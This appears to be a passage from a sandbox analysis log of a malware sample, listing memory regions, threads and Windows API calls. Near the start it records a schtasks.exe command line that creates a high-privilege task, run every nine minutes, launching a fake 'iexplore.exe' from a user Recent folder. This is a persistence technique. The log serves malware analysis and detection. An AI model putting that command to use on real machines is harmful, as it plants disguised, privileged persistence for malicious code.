0x7fef3211090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 6452 start_va = 0x270000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Thread: id = 189 os_tid = 0xccc [0188.673] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 Thread: id = 239 os_tid = 0xaa8 Thread: id = 246 os_tid = 0xbc8 [0188.691] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 254 os_tid = 0x4b0 Process: id = "47" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x41307000" os_pid = "0xcd8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"iexplorei\" /sc MINUTE /mo 9 /tr \"'C:\\Users\\Default\\Recent\\iexplore.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3752 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3753 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3754 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3755 start_va = 0x120000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 3756 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3757 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3758 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3759 start_va = 0xffd40000 end_va = 0xffd87fff monitored = 1 entry_point = 0xffd6966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3760 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3761 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3762 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 3763 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3764 start_va = 0x1a0000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 3765 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3766 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3767 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3768 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3769 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3770 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3771 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3772 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3773 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3774 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3775 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3776 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3777 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3778 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3779 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3780 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3781 start_va = 0xc0000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3782 start_va = 0x390000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 3783 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3784 start_va = 0x100000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 3785 start_va = 0x490000 end_va = 0x617fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 3786 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3787 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3788 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3789 start_va = 0x620000 end_va = 0x7a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 3790 start_va = 0x7b0000 end_va = 0x1baffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 3791 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3793 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3794 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3795 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3796 start_va = 0x1bb0000 end_va = 0x1e7efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3797 start_va = 0x1a0000 end_va = 0x21cfff monitored = 0 entry_point = 0x1acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3798 start_va = 0x290000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 3799 start_va = 0x1a0000 end_va = 0x21cfff monitored = 0 entry_point = 0x1acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3800 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3801 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3802 start_va = 0x1e80000 end_va = 0x1fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 3803 start_va = 0x1a0000 end_va = 0x27efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3804 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3805 start_va = 0x2080000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 3806 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3807 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3808 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3809 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3810 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 3811 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3812 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3829 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 184 os_tid = 0xce0 [0153.272] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19fba0 | out: lpSystemTimeAsFileTime=0x19fba0*(dwLowDateTime=0x27e3f100, dwHighDateTime=0x1d8a92a)) [0153.272] GetCurrentProcessId () returned 0xcd8 [0153.272] GetCurrentThreadId () returned 0xce0 [0153.272] GetTickCount () returned 0x138aa1a [0153.272] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x19fba8 | out: lpPerformanceCount=0x19fba8*=2063213518203) returned 1 [0153.272] GetModuleHandleW (lpModuleName=0x0) returned 0xffd40000 [0153.272] __set_app_type (_Type=0x1) [0153.272] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffd6972c) returned 0x0 [0153.273] __wgetmainargs (in: _Argc=0xffd81240, _Argv=0xffd81250, _Env=0xffd81248, _DoWildCard=0, _StartInfo=0xffd8125c | out: _Argc=0xffd81240, _Argv=0xffd81250, _Env=0xffd81248) returned 0 [0153.274] _onexit (_Func=0xffd72ab0) returned 0xffd72ab0 [0153.274] _onexit (_Func=0xffd72ac4) returned 0xffd72ac4 [0153.274] _onexit (_Func=0xffd72afc) returned 0xffd72afc [0153.274] _onexit (_Func=0xffd72b58) returned 0xffd72b58 [0153.274] _onexit (_Func=0xffd72b80) returned 0xffd72b80 [0153.274] _onexit (_Func=0xffd72ba8) returned 0xffd72ba8 [0153.275] _onexit (_Func=0xffd72bd0) returned 0xffd72bd0 [0153.275] _onexit (_Func=0xffd72bf8) returned 0xffd72bf8 [0153.275] _onexit (_Func=0xffd72c20) returned 0xffd72c20 [0153.275] _onexit (_Func=0xffd72c48) returned 0xffd72c48 [0153.275] _onexit (_Func=0xffd72c70) returned 0xffd72c70 [0153.275] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0153.275] WinSqmIsOptedIn () returned 0x0 [0153.276] GetProcessHeap () returned 0x290000 [0153.276] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x18) returned 0x2ab990 [0153.276] SetLastError (dwErrCode=0x0) [0153.276] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0153.276] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0153.276] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0153.277] VerifyVersionInfoW (in: lpVersionInformation=0x19f360, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x19f360) returned 1 [0153.277] GetProcessHeap () returned 0x290000 [0153.277] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x18) returned 0x2ab9b0 [0153.277] lstrlenW (lpString="") returned 0 [0153.277] GetProcessHeap () returned 0x290000 [0153.277] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x2) returned 0x2ab9d0 [0153.277] GetProcessHeap () returned 0x290000 [0153.277] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2a5930 [0153.277] GetProcessHeap () returned 0x290000 [0153.277] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x18) returned 0x2ab9f0 [0153.277] GetProcessHeap () returned 0x290000 [0153.277] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2a5960 [0153.277] GetProcessHeap () returned 0x290000 [0153.277] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2a5990 [0153.277] GetProcessHeap () returned 0x290000 [0153.277] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2a59c0 [0153.277] GetProcessHeap () returned 0x290000 [0153.277] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2a59f0 [0153.277] GetProcessHeap () returned 0x290000 [0153.277] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x18) returned 0x2aba10 [0153.277] GetProcessHeap () returned 0x290000 [0153.277] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2a5a20 [0153.277] GetProcessHeap () returned 0x290000 [0153.277] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2a5a50 [0153.277] GetProcessHeap () returned 0x290000 [0153.277] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2a5a80 [0153.277] GetProcessHeap () returned 0x290000 [0153.277] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2a5ab0 [0153.278] GetProcessHeap () returned 0x290000 [0153.278] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x18) returned 0x2aba30 [0153.278] GetProcessHeap () returned 0x290000 [0153.278] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2a5ae0 [0153.278] GetProcessHeap () returned 0x290000 [0153.278] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2a5b10 [0153.278] GetProcessHeap () returned 0x290000 [0153.278] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2a5b40 [0153.278] GetProcessHeap () returned 0x290000 [0153.278] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2a5b70 [0153.278] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0153.278] SetLastError (dwErrCode=0x0) [0153.278] GetProcessHeap () returned 0x290000 [0153.278] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2a5ba0 [0153.278] GetProcessHeap () returned 0x290000 [0153.278] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2a5bd0 [0153.278] GetProcessHeap () returned 0x290000 [0153.278] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2a5c00 [0153.279] GetProcessHeap () returned 0x290000 [0153.279] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2a5c30 [0153.279] GetProcessHeap () returned 0x290000 [0153.279] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2a5c60 [0153.279] GetProcessHeap () returned 0x290000 [0153.279] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x18) returned 0x2aba50 [0153.279] _memicmp (_Buf1=0x2aba50, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.279] GetProcessHeap () returned 0x290000 [0153.279] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x208) returned 0x2abbf0 [0153.279] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2abbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0153.279] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0153.281] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0153.281] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0153.283] GetProcessHeap () returned 0x290000 [0153.283] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x74e) returned 0x2ac1a0 [0153.283] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0153.283] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2ac1a0 | out: lpData=0x2ac1a0) returned 1 [0153.283] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0153.283] VerQueryValueW (in: pBlock=0x2ac1a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19f448, puLen=0x19f4b0 | out: lplpBuffer=0x19f448*=0x2ac53c, puLen=0x19f4b0) returned 1 [0153.287] _memicmp (_Buf1=0x2aba50, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.287] _vsnwprintf (in: _Buffer=0x2abbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x19f428 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0153.287] VerQueryValueW (in: pBlock=0x2ac1a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x19f4b8, puLen=0x19f4a8 | out: lplpBuffer=0x19f4b8*=0x2ac368, puLen=0x19f4a8) returned 1 [0153.287] lstrlenW (lpString="schtasks.exe") returned 12 [0153.287] lstrlenW (lpString="schtasks.exe") returned 12 [0153.287] lstrlenW (lpString=".EXE") returned 4 [0153.287] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0153.288] lstrlenW (lpString="schtasks.exe") returned 12 [0153.288] lstrlenW (lpString=".EXE") returned 4 [0153.288] _memicmp (_Buf1=0x2aba50, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.288] lstrlenW (lpString="schtasks") returned 8 [0153.288] GetProcessHeap () returned 0x290000 [0153.288] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2a5d50 [0153.289] GetProcessHeap () returned 0x290000 [0153.289] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acab0 [0153.289] GetProcessHeap () returned 0x290000 [0153.289] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acae0 [0153.289] GetProcessHeap () returned 0x290000 [0153.289] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acb10 [0153.289] GetProcessHeap () returned 0x290000 [0153.289] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x18) returned 0x2aba70 [0153.289] _memicmp (_Buf1=0x2aba70, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.289] GetProcessHeap () returned 0x290000 [0153.289] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0xa0) returned 0x2abff0 [0153.289] GetProcessHeap () returned 0x290000 [0153.289] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acb40 [0153.289] GetProcessHeap () returned 0x290000 [0153.289] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acb70 [0153.289] GetProcessHeap () returned 0x290000 [0153.289] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acba0 [0153.289] GetProcessHeap () returned 0x290000 [0153.289] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x18) returned 0x2aba90 [0153.289] _memicmp (_Buf1=0x2aba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.289] GetProcessHeap () returned 0x290000 [0153.289] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x200) returned 0x2ad280 [0153.289] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2ad280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0153.290] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0153.290] GetProcessHeap () returned 0x290000 [0153.290] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x30) returned 0x2a7a50 [0153.290] _vsnwprintf (in: _Buffer=0x2abff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x19f428 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0153.290] GetProcessHeap () returned 0x290000 [0153.290] GetProcessHeap () returned 0x290000 [0153.290] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2ac1a0) returned 1 [0153.290] GetProcessHeap () returned 0x290000 [0153.290] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2ac1a0) returned 0x74e [0153.291] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2ac1a0 | out: hHeap=0x290000) returned 1 [0153.291] SetLastError (dwErrCode=0x0) [0153.291] GetThreadLocale () returned 0x409 [0153.291] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.291] lstrlenW (lpString="?") returned 1 [0153.291] GetThreadLocale () returned 0x409 [0153.291] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.291] lstrlenW (lpString="create") returned 6 [0153.291] GetThreadLocale () returned 0x409 [0153.291] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.291] lstrlenW (lpString="delete") returned 6 [0153.291] GetThreadLocale () returned 0x409 [0153.291] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.291] lstrlenW (lpString="query") returned 5 [0153.291] GetThreadLocale () returned 0x409 [0153.291] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.291] lstrlenW (lpString="change") returned 6 [0153.291] GetThreadLocale () returned 0x409 [0153.291] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.292] lstrlenW (lpString="run") returned 3 [0153.292] GetThreadLocale () returned 0x409 [0153.292] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.292] lstrlenW (lpString="end") returned 3 [0153.292] GetThreadLocale () returned 0x409 [0153.292] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.292] lstrlenW (lpString="showsid") returned 7 [0153.292] GetThreadLocale () returned 0x409 [0153.292] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.292] SetLastError (dwErrCode=0x0) [0153.292] SetLastError (dwErrCode=0x0) [0153.292] lstrlenW (lpString="/create") returned 7 [0153.292] lstrlenW (lpString="-/") returned 2 [0153.292] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0153.292] lstrlenW (lpString="?") returned 1 [0153.292] lstrlenW (lpString="?") returned 1 [0153.292] GetProcessHeap () returned 0x290000 [0153.292] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x18) returned 0x2ac1a0 [0153.292] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.292] 